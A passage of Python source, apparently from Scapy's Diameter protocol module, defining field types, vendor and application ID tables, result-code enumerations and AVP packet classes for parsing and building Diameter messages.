\"\"\"\n\n    def __init__(self, name, default, enum):\n        EnumField.__init__(self, name, default, enum, \"!I\")\n\n\nclass I3FieldLenField(X3BytesField, FieldLenField):\n    __slots__ = [\"length_of\", \"count_of\", \"adjust\"]\n\n    def __init__(\n            self,\n            name,\n            default,\n            length_of=None,\n            count_of=None,\n            adjust=lambda pkt,\n            x: x):\n        X3BytesField.__init__(self, name, default)\n        self.length_of = length_of\n        self.count_of = count_of\n        self.adjust = adjust\n\n    def i2m(self, pkt, x):\n        return FieldLenField.i2m(self, pkt, x)\n\n###########################################################\n# Fields for Diameter commands\n###########################################################\n\n\nclass DRFlags (FlagsField):\n    def i2repr(self, pkt, x):\n        if x is None:\n            return \"None\"\n        res = hex(int(x))\n        r = ''\n        cmdt = ' Request' if (x & 128) else ' Answer'\n        if x & 15:  # Check if reserved bits are used\n            nb = 8\n            offset = 0\n        else:       # Strip the first 4 bits\n            nb = 4\n            offset = 4\n            x >>= 4\n        for i in range(nb):\n            r += (x & 1) and str(self.names[offset + i][0]) or '-'\n            x >>= 1\n        invert = r[::-1]\n        return res + cmdt + ' (' + invert[:nb] + ')'\n\n\nclass DRCode (I3BytesEnumField):\n    def __init__(self, name, default, enum):\n        \"\"\"enum is a dict of tuples, so conversion is required before calling the actual init method.  # noqa: E501\n           Note: the conversion is done only once.\"\"\"\n        enumDict = {}\n        for k, v in enum.items():\n            enumDict[k] = v[0]\n        I3BytesEnumField.__init__(self, name, default, enumDict)\n\n    def i2repr(self, pkt, x):\n        cmd = self.i2repr_one(pkt, x)\n        sx = str(x)\n        if cmd == sx:\n            cmd = 'Unknown'\n        return sx + \" (\" + cmd + \")\"\n\n###########################################################\n# Fields for Diameter AVPs\n###########################################################\n\n\nclass AVPFlags (FlagsField):\n    def i2repr(self, pkt, x):\n        if x is None:\n            return \"None\"\n        res = hex(int(x))\n        r = ''\n        if x & 31:  # Check if reserved bits are used\n            nb = 8\n            offset = 0\n        else:       # Strip the first 5 bits\n            nb = 3\n            offset = 5\n            x >>= 5\n        for i in range(nb):\n            r += (x & 1) and str(self.names[offset + i][0]) or '-'\n            x >>= 1\n        invert = r[::-1]\n        return res + ' (' + invert[:nb] + ')'\n\n\nclass AVPVendor (IntField):\n    def i2repr(self, pkt, x):\n        vendor = vendorList.get(x, \"Unkown_Vendor\")\n        return \"%s (%s)\" % (vendor, str(x))\n\n\n# Note the dictionary below is minimal (taken from scapy/layers/dhcp6.py\n# + added 3GPP and ETSI\nvendorList = {\n    9: \"ciscoSystems\",\n    35: \"Nortel Networks\",\n    43: \"3Com\",\n    311: \"Microsoft\",\n    323: \"Tekelec\",\n    2636: \"Juniper Networks, Inc.\",\n    4526: \"Netgear\",\n    5771: \"Cisco Systems, Inc.\",\n    5842: \"Cisco Systems\",\n    8164: \"Starent Networks\",\n    10415: \"3GPP\",\n    13019: \"ETSI\",\n    16885: \"Nortel Networks\"}\n\n# The Application IDs for the Diameter command field\nAppIDsEnum = {\n    0: \"Diameter_Common_Messages\",\n    1: \"NASREQ_Application\",\n    2: \"Mobile_IPv4_Application\",\n    3: \"Diameter_Base_Accounting\",\n    4: \"Diameter_Credit_Control_Application\",\n    5: \"EAP_Application\",\n    6: \"Diameter_Session_Initiation_Protocol_(SIP)_Application\",\n    7: \"Diameter_Mobile_IPv6_IKE___(MIP6I)\",\n    8: \"Diameter_Mobile_IPv6_Auth__(MIP6A)\",\n    111: \"ALU_Sy\",\n    555: \"Sun_Ping_Application\",\n    16777216: \"3GPP_Cx\",\n    16777217: \"3GPP_Sh\",\n    16777222: \"3GPP_Gq\",\n    16777223: \"3GPP_Gmb\",\n    16777224: \"3GPP_Gx\",\n    16777227: \"Ericsson_MSI\",\n    16777228: \"Ericsson_Zx\",\n    16777229: \"3GPP_RX\",\n    16777231: \"Diameter_e2e4_Application\",\n    16777232: \"Ericsson_Charging-CIP\",\n    16777236: \"3GPP_Rx\",\n    16777238: \"3GPP_Gx\",\n    16777250: \"3GPP_STa\",\n    16777251: \"3GPP_S6a/S6d\",\n    16777252: \"3GPP_S13/S13'\",\n    16777255: \"3GPP_SLg\",\n    16777264: \"3GPP_SWm\",\n    16777265: \"3GPP_SWx\",\n    16777266: \"3GPP_Gxx\",\n    16777267: \"3GPP_S9\",\n    16777269: \"Ericsson_HSI\",\n    16777272: \"3GPP_S6b\",\n    16777291: \"3GPP_SLh\",\n    16777292: \"3GPP_SGmb\",\n    16777302: \"3GPP_Sy\",\n    16777304: \"Ericsson_Sy\",\n    16777315: \"Ericsson_Diameter_Signalling_Controller_Application_(DSC)\",\n    4294967295: \"Relay\",\n}\n\n\n###########################################################\n# Definition of fields contained in section 4.2 of RFC6733\n# for AVPs payloads\n###########################################################\n\nclass OctetString (StrLenField):\n    def i2repr(self, pkt, x):\n        try:\n            return plain_str(x)\n        except BaseException:\n            return bytes_hex(x)\n\n\nclass Integer32 (SignedIntField):\n    pass\n\n\nclass Integer64 (Field):\n    def __init__(self, name, default):\n        Field.__init__(self, name, default, \"q\")\n\n\nclass Unsigned32 (IntField):\n    pass\n\n\nclass Unsigned64 (LongField):\n    pass\n\n\nclass Float32 (IEEEFloatField):\n    pass\n\n\nclass Float64 (IEEEDoubleField):\n    pass\n\n\n###########################################################\n# Definition of additional fields contained in section 4.3\n# of RFC6733 for AVPs payloads\n###########################################################\n\nclass Address (StrLenField):\n    def i2repr(self, pkt, x):\n        if x.startswith(b'\\x00\\x01'):  # IPv4 address\n            return inet_ntoa(x[2:])\n        elif x.startswith(b'\\x00\\x02'):    # IPv6 address\n            return inet_ntop(socket.AF_INET6, x[2:])\n        else:   # Address format not yet decoded\n            print('Warning: Address format not yet decoded.')\n            return bytes_hex(x)\n\n    def any2i(self, pkt, x):\n        if x and isinstance(x, str):\n            try:    # Try IPv4 conversion\n                s = inet_aton(x)\n                return b'\\x00\\x01' + s\n            except BaseException:\n                try:    # Try IPv6 conversion\n                    s = inet_pton(socket.AF_INET6, x)\n                    return b'\\x00\\x02' + s\n                except BaseException:\n                    print('Warning: Address format not supported yet.')\n        return b''\n\n\nclass Time (IntField):\n    def i2repr(self, pkt, x):\n        return ctime(x)\n\n\nclass Enumerated (IntEnumField):\n    def i2repr(self, pkt, x):\n        if x in self.i2s:\n            return self.i2s[x] + \" (%d)\" % x\n        else:\n            return repr(x) + \" (Unknown)\"\n\n\nclass IPFilterRule (StrLenField):\n    pass\n\n\nclass Grouped (StrLenField):\n    \"\"\"This class is just for declarative purpose because it is used in the AVP definitions dict.\"\"\"  # noqa: E501\n    pass\n\n\n####################################################################\n# Definition of additional fields contained in other standards\n####################################################################\n\nclass QoSFilterRule (StrLenField):        # Defined in 4.1.1 of RFC7155\n    pass\n\n\nclass ISDN (StrLenField):\n    def i2repr(self, pkt, x):\n        out = b''\n        for char in x:\n            c = orb(char)\n            out += chb(48 + (c & 15))  # convert second digit first\n            v = (c & 240) >> 4\n            if v != 15:\n                out += chb(48 + v)\n        return out\n\n    def any2i(self, pkt, x):\n        out = b''\n        if x:\n            fd = True     # waiting for first digit\n            for c in x:\n                digit = orb(c) - 48\n                if fd:\n                    val = digit\n                else:\n                    val = val + 16 * digit\n                    out += chb(val)\n                fd = not fd\n            if not fd:    # Fill with 'f' if odd number of characters\n                out += chb(240 + val)\n        return out\n\n\n#####################################################################\n#####################################################################\n#\n#       AVPs classes and definitions\n#\n#####################################################################\n#####################################################################\n\nAVP_Code_length = 4\nAVP_Flag_length = 1\nDIAMETER_BYTES_ALIGNMENT = 4\nAVP_Flags_List = [\"x\", \"x\", \"x\", \"x\", \"x\", \"P\", \"M\", \"V\"]\n\n\ndef GuessAvpType(p, **kargs):\n    if len(p) > AVP_Code_length + AVP_Flag_length:\n        # Set AVP code and vendor\n        avpCode = struct.unpack(\"!I\", p[:AVP_Code_length])[0]\n        vnd = bool(struct.unpack(\n            \"!B\", p[AVP_Code_length:AVP_Code_length + AVP_Flag_length])[0] & 128)  # noqa: E501\n        vndCode = struct.unpack(\"!I\", p[8:12])[0] if vnd else 0\n        # Check if vendor and code defined and fetch the corresponding AVP\n        # definition\n        if vndCode in AvpDefDict:\n            AvpVndDict = AvpDefDict[vndCode]\n            if avpCode in AvpVndDict:\n                # Unpack only the first 4 tuple items at this point\n                avpName, AVPClass, flags = AvpVndDict[avpCode][:3]\n                result = AVPClass(p, **kargs)\n                result.name = 'AVP ' + avpName\n                return result\n    # Packet too short or AVP vendor or AVP code not found ...\n    return AVP_Unknown(p, **kargs)\n\n\nclass AVP_Generic (Packet):\n    \"\"\" Parent class for the 5 following AVP intermediate classes below\"\"\"\n\n    def extract_padding(self, s):\n        nbBytes = self.avpLen % DIAMETER_BYTES_ALIGNMENT\n        if nbBytes:\n            nbBytes = DIAMETER_BYTES_ALIGNMENT - nbBytes\n        return s[:nbBytes], s[nbBytes:]\n\n    def post_build(self, p, pay):\n        nbBytes = (-len(p)) % 4\n        while nbBytes:\n            p += struct.pack(\"B\", 0)\n            nbBytes -= 1\n        return p + pay\n\n    def show2(self):\n        self.__class__(raw(self), name=self.name).show()\n\n\ndef AVP(avpId, **fields):\n    \"\"\" Craft an AVP based on its id and optional parameter fields\"\"\"\n    val = None\n    classType = AVP_Unknown\n    if isinstance(avpId, str):\n        try:\n            for vnd in AvpDefDict:\n                for code in AvpDefDict[vnd]:\n                    val = AvpDefDict[vnd][code]\n                    if val[0][:len(\n                            avpId)] == avpId:  # A prefix of the full name is considered valid  # noqa: E501\n                        raise\n            found = False\n        except BaseException:\n            found = True\n    else:\n        if isinstance(avpId, list):\n            code = avpId[0]\n            vnd = avpId[1]\n        else:  # Assume this is an int\n            code = avpId\n            vnd = 0\n        try:\n            val = AvpDefDict[vnd][code]\n            found = True\n        except BaseException:\n            found = False\n    if not found:\n        warning('The AVP identifier %s has not been found.' % str(avpId))\n        if isinstance(avpId, str):  # The string input is not valid\n            return None\n    # At this point code, vnd are provisionned val may be set (if found is True)  # noqa: E501\n    # Set/override AVP code\n    fields['avpCode'] = code\n    # Set vendor if not already defined and relevant\n    if 'avpVnd' not in fields and vnd:\n        fields['avpVnd'] = vnd\n    # Set flags if not already defined and possible ...\n    if 'avpFlags' not in fields:\n        if val:\n            fields['avpFlags'] = val[2]\n        else:\n            fields['avpFlags'] = 128 if vnd else 0\n    # Finally, set the name and class if possible\n    if val:\n        classType = val[1]\n    _ret = classType(**fields)\n    if val:\n        _ret.name = 'AVP ' + val[0]\n    return _ret\n\n\n# AVP intermediate classes:\n############################\n\nclass AVP_FL_NV (AVP_Generic):\n    \"\"\" Defines the AVP of Fixed Length with No Vendor field.\"\"\"\n    fields_desc = [\n        IntField(\"avpCode\", None),\n        AVPFlags(\"avpFlags\", None, 8, AVP_Flags_List),\n        X3BytesField(\"avpLen\", None)\n    ]\n\n\nclass AVP_FL_V (AVP_Generic):\n    \"\"\" Defines the AVP of Fixed Length with Vendor field.\"\"\"\n    fields_desc = [\n        IntField(\"avpCode\", None),\n        AVPFlags(\"avpFlags\", None, 8, AVP_Flags_List),\n        X3BytesField(\"avpLen\", None),\n        AVPVendor(\"avpVnd\", 0)\n    ]\n\n\nclass AVP_VL_NV (AVP_Generic):\n    \"\"\" Defines the AVP of Variable Length with No Vendor field.\"\"\"\n    fields_desc = [\n        IntField(\"avpCode\", None),\n        AVPFlags(\"avpFlags\", None, 8, AVP_Flags_List),\n        I3FieldLenField(\"avpLen\", None, length_of=\"val\",\n                        adjust=lambda pkt, x:x + 8)\n    ]\n\n\nclass AVP_VL_V (AVP_Generic):\n    \"\"\" Defines the AVP of Variable Length with Vendor field.\"\"\"\n    fields_desc = [\n        IntField(\"avpCode\", None),\n        AVPFlags(\"avpFlags\", None, 8, AVP_Flags_List),\n        I3FieldLenField(\"avpLen\", None, length_of=\"val\",\n                        adjust=lambda pkt, x:x + 12),\n        AVPVendor(\"avpVnd\", 0)\n    ]\n\n\nclass AVP_Unknown (AVP_Generic):\n    \"\"\" The default structure for AVPs which could not be decoded (optional vendor field, variable length). \"\"\"  # noqa: E501\n    name = 'AVP Unknown'\n    fields_desc = [\n        IntField(\"avpCode\", None),\n        AVPFlags(\"avpFlags\", None, 8, AVP_Flags_List),\n        I3FieldLenField(\"avpLen\", None, length_of=\"val\",\n                        adjust=lambda pkt, x:x + 8 + ((pkt.avpFlags & 0x80) >> 5)),  # noqa: E501\n        ConditionalField(AVPVendor(\"avpVnd\", 0), lambda pkt:pkt.avpFlags & 0x80),  # noqa: E501\n        StrLenField(\"val\", None,\n                    length_from=lambda pkt:pkt.avpLen - 8 - ((pkt.avpFlags & 0x80) >> 5))  # noqa: E501\n    ]\n\n\n# AVP 'low level' classes:\n############################\n\nclass AVPV_StrLenField (AVP_VL_V):\n    fields_desc = [\n        AVP_VL_V,\n        StrLenField(\"val\", None, length_from=lambda pkt:pkt.avpLen - 12)\n    ]\n\n\nclass AVPNV_StrLenField (AVP_VL_NV):\n    fields_desc = [\n        AVP_VL_NV,\n        StrLenField(\"val\", None, length_from=lambda pkt:pkt.avpLen - 8)\n    ]\n\n\nclass AVPV_OctetString (AVP_VL_V):\n    fields_desc = [\n        AVP_VL_V,\n        OctetString(\"val\", None, length_from=lambda pkt:pkt.avpLen - 12)\n    ]\n\n\nclass AVPNV_OctetString (AVP_VL_NV):\n    fields_desc = [\n        AVP_VL_NV,\n        OctetString(\"val\", None, length_from=lambda pkt:pkt.avpLen - 8)\n    ]\n\n\nclass AVPV_Grouped (AVP_VL_V):\n    fields_desc = [\n        AVP_VL_V,\n        PacketListField('val', [], GuessAvpType,\n                        length_from=lambda pkt:pkt.avpLen - 12)\n    ]\n\n\nclass AVPNV_Grouped (AVP_VL_NV):\n    fields_desc = [\n        AVP_VL_NV,\n        PacketListField('val', [], GuessAvpType,\n                        length_from=lambda pkt:pkt.avpLen - 8)]\n\n\nclass AVPV_Unsigned32 (AVP_FL_V):\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Unsigned32('val', None)]\n\n\nclass AVPNV_Unsigned32 (AVP_FL_NV):\n    avpLen = 12\n    fields_desc = [AVP_FL_NV, Unsigned32('val', None)]\n\n\nclass AVPV_Integer32 (AVP_FL_V):\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Integer32('val', None)]\n\n\nclass AVPNV_Integer32 (AVP_FL_NV):\n    avpLen = 12\n    fields_desc = [AVP_FL_NV, Integer32('val', None)]\n\n\nclass AVPV_Unsigned64 (AVP_FL_V):\n    avpLen = 20\n    fields_desc = [AVP_FL_V, Unsigned64('val', None)]\n\n\nclass AVPNV_Unsigned64 (AVP_FL_NV):\n    avpLen = 16\n    fields_desc = [AVP_FL_NV, Unsigned64('val', None)]\n\n\nclass AVPV_Integer64 (AVP_FL_V):\n    avpLen = 20\n    fields_desc = [AVP_FL_V, Integer64('val', None)]\n\n\nclass AVPNV_Integer64 (AVP_FL_NV):\n    avpLen = 16\n    fields_desc = [AVP_FL_NV, Integer64('val', None)]\n\n\nclass AVPV_Time (AVP_FL_V):\n    avpLen = 16\n    fields_desc = [AVP_FL_V, Time(\"val\", None)]\n\n\nclass AVPNV_Time (AVP_FL_NV):\n    avpLen = 12\n    fields_desc = [AVP_FL_NV, Time(\"val\", None)]\n\n\nclass AVPV_Address (AVP_VL_V):\n    fields_desc = [\n        AVP_VL_V,\n        Address(\"val\", None, length_from=lambda pkt:pkt.avpLen - 12)\n    ]\n\n\nclass AVPNV_Address (AVP_VL_NV):\n    fields_desc = [\n        AVP_VL_NV,\n        Address(\"val\", None, length_from=lambda pkt:pkt.avpLen - 8)\n    ]\n\n\nclass AVPV_IPFilterRule (AVP_VL_V):\n    fields_desc = [\n        AVP_VL_V,\n        IPFilterRule(\"val\", None, length_from=lambda pkt:pkt.avpLen - 12)\n    ]\n\n\nclass AVPNV_IPFilterRule (AVP_VL_NV):\n    fields_desc = [\n        AVP_VL_NV,\n        IPFilterRule(\"val\", None, length_from=lambda pkt:pkt.avpLen - 8)\n    ]\n\n\nclass AVPV_QoSFilterRule (AVP_VL_V):\n    fields_desc = [\n        AVP_VL_V,\n        QoSFilterRule(\"val\", None, length_from=lambda pkt:pkt.avpLen - 12)\n    ]\n\n\nclass AVPNV_QoSFilterRule (AVP_VL_NV):\n    fields_desc = [\n        AVP_VL_NV,\n        QoSFilterRule(\"val\", None, length_from=lambda pkt:pkt.avpLen - 8)\n    ]\n\n\n###############################################\n# Actual AVPs based on previous parent classes\n###############################################\n\n# AVP special classes (which required interpretation/adaptation from standard)\n##############################################################################\n\nclass AVP_0_258 (AVP_FL_NV):\n    name = 'AVP Auth-Application-Id'\n    avpLen = 12\n    fields_desc = [AVP_FL_NV, Enumerated('val', None, AppIDsEnum)]\n\n\nclass AVP_0_266 (AVP_FL_NV):\n    name = 'AVP Vendor-Id'\n    avpLen = 12\n    fields_desc = [AVP_FL_NV, Enumerated('val', None, vendorList)]\n\n\nclass AVP_0_268 (AVP_FL_NV):\n    name = 'AVP Result-Code'\n    avpLen = 12\n    fields_desc = [AVP_FL_NV,\n                   Enumerated('val',\n                              None,\n                              {1001: \"DIAMETER_MULTI_ROUND_AUTH\",\n                               2001: \"DIAMETER_SUCCESS\",\n                               2002: \"DIAMETER_LIMITED_SUCCESS\",\n                               2003: \"DIAMETER_FIRST_REGISTRATION\",\n                               2004: \"DIAMETER_SUBSEQUENT_REGISTRATION\",\n                               2005: \"DIAMETER_UNREGISTERED_SERVICE\",\n                               2006: \"DIAMETER_SUCCESS_SERVER_NAME_NOT_STORED\",\n                               2007: \"DIAMETER_SERVER_SELECTION\",\n                               2008: \"DIAMETER_SUCCESS_AUTH_SENT_SERVER_NOT_STORED\",  # noqa: E501\n                               2009: \"DIAMETER_SUCCESS_RELOCATE_HA\",\n                               3001: \"DIAMETER_COMMAND_UNSUPPORTED\",\n                               3002: \"DIAMETER_UNABLE_TO_DELIVER\",\n                               3003: \"DIAMETER_REALM_NOT_SERVED\",\n                               3004: \"DIAMETER_TOO_BUSY\",\n                               3005: \"DIAMETER_LOOP_DETECTED\",\n                               3006: \"DIAMETER_REDIRECT_INDICATION\",\n                               3007: \"DIAMETER_APPLICATION_UNSUPPORTED\",\n                               3008: \"DIAMETER_INVALID_HDR_BITS\",\n                               3009: \"DIAMETER_INVALID_AVP_BITS\",\n                               3010: \"DIAMETER_UNKNOWN_PEER\",\n                               4001: \"DIAMETER_AUTHENTICATION_REJECTED\",\n                               4002: \"DIAMETER_OUT_OF_SPACE\",\n                               4003: \"DIAMETER_ELECTION_LOST\",\n                               4005: \"DIAMETER_ERROR_MIP_REPLY_FAILURE\",\n                               4006: \"DIAMETER_ERROR_HA_NOT_AVAILABLE\",\n                               4007: \"DIAMETER_ERROR_BAD_KEY\",\n                               4008: \"DIAMETER_ERROR_MIP_FILTER_NOT_SUPPORTED\",\n                               4010: \"DIAMETER_END_USER_SERVICE_DENIED\",\n                               4011: \"DIAMETER_CREDIT_CONTROL_NOT_APPLICABLE\",\n                               4012: \"DIAMETER_CREDIT_LIMIT_REACHED\",\n                               4013: \"DIAMETER_USER_NAME_REQUIRED\",\n                               4241: \"DIAMETER_END_USER_SERVICE_DENIED\",\n                               5001: \"DIAMETER_AVP_UNSUPPORTED\",\n                               5002: \"DIAMETER_UNKNOWN_SESSION_ID\",\n                               5003: \"DIAMETER_AUTHORIZATION_REJECTED\",\n                               5004: \"DIAMETER_INVALID_AVP_VALUE\",\n                               5005: \"DIAMETER_MISSING_AVP\",\n                               5006: \"DIAMETER_RESOURCES_EXCEEDED\",\n                               5007: \"DIAMETER_CONTRADICTING_AVPS\",\n                               5008: \"DIAMETER_AVP_NOT_ALLOWED\",\n                               5009: \"DIAMETER_AVP_OCCURS_TOO_MANY_TIMES\",\n                               5010: \"DIAMETER_NO_COMMON_APPLICATION\",\n                               5011: \"DIAMETER_UNSUPPORTED_VERSION\",\n                               5012: \"DIAMETER_UNABLE_TO_COMPLY\",\n                               5013: \"DIAMETER_INVALID_BIT_IN_HEADER\",\n                               5014: \"DIAMETER_INVALID_AVP_LENGTH\",\n                               5015: \"DIAMETER_INVALID_MESSAGE_LENGTH\",\n                               5016: \"DIAMETER_INVALID_AVP_BIT_COMBO\",\n                               5017: \"DIAMETER_NO_COMMON_SECURITY\",\n                               5018: \"DIAMETER_RADIUS_AVP_UNTRANSLATABLE\",\n                               5024: \"DIAMETER_ERROR_NO_FOREIGN_HA_SERVICE\",\n                               5025: \"DIAMETER_ERROR_END_TO_END_MIP_KEY_ENCRYPTION\",  # noqa: E501\n                               5030: \"DIAMETER_USER_UNKNOWN\",\n                               5031: \"DIAMETER_RATING_FAILED\",\n                               5032: \"DIAMETER_ERROR_USER_UNKNOWN\",\n                               5033: \"DIAMETER_ERROR_IDENTITIES_DONT_MATCH\",\n                               5034: \"DIAMETER_ERROR_IDENTITY_NOT_REGISTERED\",\n                               5035: \"DIAMETER_ERROR_ROAMING_NOT_ALLOWED\",\n                               5036: \"DIAMETER_ERROR_IDENTITY_ALREADY_REGISTERED\",  # noqa: E501\n                               5037: \"DIAMETER_ERROR_AUTH_SCHEME_NOT_SUPPORTED\",  # noqa: E501\n                               5038: \"DIAMETER_ERROR_IN_ASSIGNMENT_TYPE\",\n                               5039: \"DIAMETER_ERROR_TOO_MUCH_DATA\",\n                               5040: \"DIAMETER_ERROR_NOT SUPPORTED_USER_DATA\",\n                               5041: \"DIAMETER_ERROR_MIP6_AUTH_MODE\",\n                               5241: \"DIAMETER_END_USER_NOT_FOUND\",\n                               })]\n\n\nclass AVP_0_298 (AVP_FL_NV):\n    name = 'AVP Experimental-Result-Code'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV,\n        Enumerated(\n            'val',\n            None,\n            {\n                2001: \"DIAMETER_FIRST_REGISTRATION\",\n                2002: \"DIAMETER_SUBSEQUENT_REGISTRATION\",\n                2003: \"DIAMETER_UNREGISTERED_SERVICE\",\n                2004: \"DIAMETER_SUCCESS_SERVER_NAME_NOT_STORED\",\n                2021: \"DIAMETER_PDP_CONTEXT_DELETION_INDICATION\",\n                4100: \"DIAMETER_USER_DATA_NOT_AVAILABLE\",\n                4101: \"DIAMETER_PRIOR_UPDATE_IN_PROGRESS\",\n                4121: \"DIAMETER_ERROR_OUT_OF_RESOURCES\",\n                4141: \"DIAMETER_PCC_BEARER_EVENT\",\n                4181: \"DIAMETER_AUTHENTICATION_DATA_UNAVAILABLE\",\n                4201: \"DIAMETER_ERROR_ABSENT_USER\",\n                4221: \"DIAMETER_ERROR_UNREACHABLE_USER\",\n                4222: \"DIAMETER_ERROR_SUSPENDED_USER\",\n                4223: \"DIAMETER_ERROR_DETACHED_USER\",\n                4224: \"DIAMETER_ERROR_POSITIONING_DENIED\",\n                4225: \"DIAMETER_ERROR_POSITIONING_FAILED\",\n                4226: \"DIAMETER_ERROR_UNKNOWN_UNREACHABLE LCS_CLIENT\",\n                5001: \"DIAMETER_ERROR_USER_UNKNOWN\",\n                5002: \"DIAMETER_ERROR_IDENTITIES_DONT_MATCH\",\n                5003: \"DIAMETER_ERROR_IDENTITY_NOT_REGISTERED\",\n                5004: \"DIAMETER_ERROR_ROAMING_NOT_ALLOWED\",\n                5005: \"DIAMETER_ERROR_IDENTITY_ALREADY_REGISTERED\",\n                5006: \"DIAMETER_ERROR_AUTH_SCHEME_NOT_SUPPORTED\",\n                5007: \"DIAMETER_ERROR_IN_ASSIGNMENT_TYPE\",\n                5008: \"DIAMETER_ERROR_TOO_MUCH_DATA\",\n                5009: \"DIAMETER_ERROR_NOT_SUPPORTED_USER_DATA\",\n                5010: \"DIAMETER_MISSING_USER_ID\",\n                5011: \"DIAMETER_ERROR_FEATURE_UNSUPPORTED\",\n                5041: \"DIAMETER_ERROR_USER_NO_WLAN_SUBSCRIPTION\",\n                5042: \"DIAMETER_ERROR_W-APN_UNUSED_BY_USER\",\n                5043: \"DIAMETER_ERROR_W-DIAMETER_ERROR_NO_ACCESS_INDEPENDENT_SUBSCRIPTION\",  # noqa: E501\n                5044: \"DIAMETER_ERROR_USER_NO_W-APN_SUBSCRIPTION\",\n                5045: \"DIAMETER_ERROR_UNSUITABLE_NETWORK\",\n                5061: \"INVALID_SERVICE_INFORMATION\",\n                5062: \"FILTER_RESTRICTIONS\",\n                5063: \"REQUESTED_SERVICE_NOT_AUTHORIZED\",\n                5064: \"DUPLICATED_AF_SESSION\",\n                5065: \"IP-CAN_SESSION_NOT_AVAILABLE\",\n                5066: \"UNAUTHORIZED_NON_EMERGENCY_SESSION\",\n                5100: \"DIAMETER_ERROR_USER_DATA_NOT_RECOGNIZED\",\n                5101: \"DIAMETER_ERROR_OPERATION_NOT_ALLOWED\",\n                5102: \"DIAMETER_ERROR_USER_DATA_CANNOT_BE_READ\",\n                5103: \"DIAMETER_ERROR_USER_DATA_CANNOT_BE_MODIFIED\",\n                5104: \"DIAMETER_ERROR_USER_DATA_CANNOT_BE_NOTIFIED\",\n                5105: \"DIAMETER_ERROR_TRANSPARENT_DATA_OUT_OF_SYNC\",\n                5106: \"DIAMETER_ERROR_SUBS_DATA_ABSENT\",\n                5107: \"DIAMETER_ERROR_NO_SUBSCRIPTION_TO_DATA\",\n                5108: \"DIAMETER_ERROR_DSAI_NOT_AVAILABLE\",\n                5120: \"DIAMETER_ERROR_START_INDICATION\",\n                5121: \"DIAMETER_ERROR_STOP_INDICATION\",\n                5122: \"DIAMETER_ERROR_UNKNOWN_MBMS_BEARER_SERVICE\",\n                5123: \"DIAMETER_ERROR_SERVICE_AREA\",\n                5140: \"DIAMETER_ERROR_INITIAL_PARAMETERS\",\n                5141: \"DIAMETER_ERROR_TRIGGER_EVENT\",\n                5142: \"DIAMETER_BEARER_EVENT\",\n                5143: \"DIAMETER_ERROR_BEARER_NOT_AUTHORIZED\",\n                5144: \"DIAMETER_ERROR_TRAFFIC_MAPPING_INFO_REJECTED\",\n                5145: \"DIAMETER_QOS_RULE_EVENT\",\n                5146: \"DIAMETER_ERROR_TRAFFIC_MAPPING_INFO_REJECTED\",\n                5147: \"DIAMETER_ERROR_CONFLICTING_REQUEST\",\n                5401: \"DIAMETER_ERROR_IMPI_UNKNOWN\",\n                5402: \"DIAMETER_ERROR_NOT_AUTHORIZED\",\n                5403: \"DIAMETER_ERROR_TRANSACTION_IDENTIFIER_INVALID\",\n                5420: \"DIAMETER_ERROR_UNKNOWN_EPS_SUBSCRIPTION\",\n                5421: \"DIAMETER_ERROR_RAT_NOT_ALLOWED\",\n                5422: \"DIAMETER_ERROR_EQUIPMENT_UNKNOWN\",\n                5423: \"DIAMETER_ERROR_UNKNOWN_SERVING_NODE\",\n                5450: \"DIAMETER_ERROR_USER_NO_NON_3GPP_SUBSCRIPTION\",\n                5451: \"DIAMETER_ERROR_USER_NO_APN_SUBSCRIPTION\",\n                5452: \"DIAMETER_ERROR_RAT_TYPE_NOT_ALLOWED\",\n                5470: \"DIAMETER_ERROR_SUBSESSION\",\n                5490: \"DIAMETER_ERROR_UNAUTHORIZED_REQUESTING_NETWORK\",\n                5510: \"DIAMETER_ERROR_UNAUTHORIZED_REQUESTING_ENTITY\",\n                5511: \"DIAMETER_ERROR_UNAUTHORIZED_SERVICE\",\n                5530: \"DIAMETER_ERROR_INVALID_SME_ADDRESS\",\n                5531: \"DIAMETER_ERROR_SC_CONGESTION\",\n                5532: \"DIAMETER_ERROR_SM_PROTOCOL\",\n            })]\n\n\nclass AVP_10415_630 (AVP_FL_V):\n    name = 'AVP Feature-List'\n    avpLen = 16\n    fields_desc = [AVP_FL_V,\n                   FlagsField('val', None, 32,\n                              ['SiFC',\n                               'AliasInd',\n                               'IMSRestorationInd',\n                               'b3',\n                               'b4',\n                               'b5',\n                               'b6',\n                               'b7',\n                               'b8',\n                               'b9',\n                               'b10',\n                               'b11',\n                               'b12',\n                               'b13',\n                               'b14',\n                               'b15',\n                               'b16',\n                               'b17',\n                               'b18',\n                               'b19',\n                               'b20',\n                               'b21',\n                               'b22',\n                               'b23',\n                               'b24',\n                               'b25',\n                               'b26',\n                               'b27',\n                               'b28',\n                               'b29',\n                               'b30',\n                               'b31'])]\n\n\nclass AVP_10415_701 (AVP_VL_V):\n    name = 'AVP MSISDN'\n    fields_desc = [AVP_VL_V, ISDN('val', None,\n                                  length_from=lambda pkt:pkt.avpLen - 12)]\n\n\nclass AVP_10415_1643 (AVP_VL_V):\n    name = 'AVP A_MSISDN'\n    fields_desc = [AVP_VL_V, ISDN('val', None,\n                                  length_from=lambda pkt:pkt.avpLen - 12)]\n\n\n# AVP enumerated classes (which could not be defined in AvpDefDict dict below)\n##############################################################################\n\nclass AVP_0_6 (AVP_FL_NV):\n    name = 'Service-Type'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV,\n        Enumerated('val', None,\n                   {\n                       0: \"Unknown\",\n                       1: \"Login\",\n                       2: \"Framed\",\n                       3: \"Callback-Login\",\n                       4: \"Callback-Framed\",\n                       5: \"Outbound\",\n                       6: \"Administrative\",\n                       7: \"NAS-Prompt\",\n                       8: \"Authenticate-Only\",\n                       9: \"Callback-NAS-Prompt\",\n                       10: \"Call Check\",\n                       11: \"Callback Administrative\",\n                       12: \"Voice\",\n                       13: \"Fax\",\n                       14: \"Modem Relay\",\n                       15: \"IAPP-Register\",\n                       16: \"IAPP-AP-Check\",\n                       17: \"Authorize Only\",\n                       18: \"Framed-Management\",\n                   })]\n\n\nclass AVP_0_7 (AVP_FL_NV):\n    name = 'Framed-Protocol'\n    avpLen = 12\n    fields_desc = [\n        AVP_FL_NV,\n        Enumerated('val', None,\n                   {\n                       1: \"PPP\",\n                       2: \"SLIP\",\n                       3: \"ARAP\",\n                       4: \"Gandalf\",\n                       5: \"Xylogics\",\n                       6: \"X.75\",\n                       7: \"GPRS PDP Context\",\n                       255: \"Ascend-ARA\",\n                       256: 